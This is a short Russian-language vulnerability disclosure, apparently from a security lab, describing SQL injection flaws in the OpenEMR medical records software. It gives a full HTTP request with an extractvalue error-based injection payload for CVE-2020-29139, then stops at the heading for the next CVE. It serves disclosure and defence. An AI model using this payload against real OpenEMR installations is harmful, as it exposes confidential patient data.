Главная
/ Исследования / Описание CVE-2020-29139, CVE-2020-29140, CVE-2020-29142, CVE-2020-29143 в OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)
lab.
Описание CVE-2020-29139, CVE-2020-29140, CVE-2020-29142, CVE-2020-29143 в OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)
WEB
0
2134
В ходе исследования движка для медицинских организаций OpenEMR с открытым исходным кодом были обнаружены 4 уязвимости типа SQL-инъекция.
Тестирование уязвимостей производилось на Windows 10, Apache 2.4, 10.3.22-MariaDB. PHP 7.1.33 для OpenEMR 5.0.2(5) и PHP 7.4 для OpenEMR 6.0.0-dev. Настоятельно рекомендуем обновиться до последней версии продукта.
CVE-2020-29139. SQL-инъекция из-за неправильной фильтрации параметра в файле library/patient.inc
Функцияadd_escape_custom() являетсяоберткойдляmysqli_real_escape_string(). Но как видно по коду, результат работы функции не обрамляется кавычками, что приводит к возможности инъекции SQL без кавычек.
Шаги для эксплуатации:
1. ОтправитьGET запрос с валидным токеном и куками:
GET /interface/main/finder/patient_select.php?csrf_token_form=639ee383724ab4de7bd56e47a454ea96cadeb6de&findBy=Filter&searchFields=extractvalue(0x0a,concat(0x0a,(version()))) HTTP/1.1
Host: openemr60.kz
Cookie: OpenEMR=FolYY6Y6%2CNwDDANwci5GfRdQXosr2ZkZ76e7PNHPJGTTc-eD;
Скриншот для версии 6.0.0-dev:
Скриншот для версии5.0.2(5):
CVE-2020-29140. SQL-инъекция из-за неправильной фильтрации параметра в файле interface/reports/immunization_report.php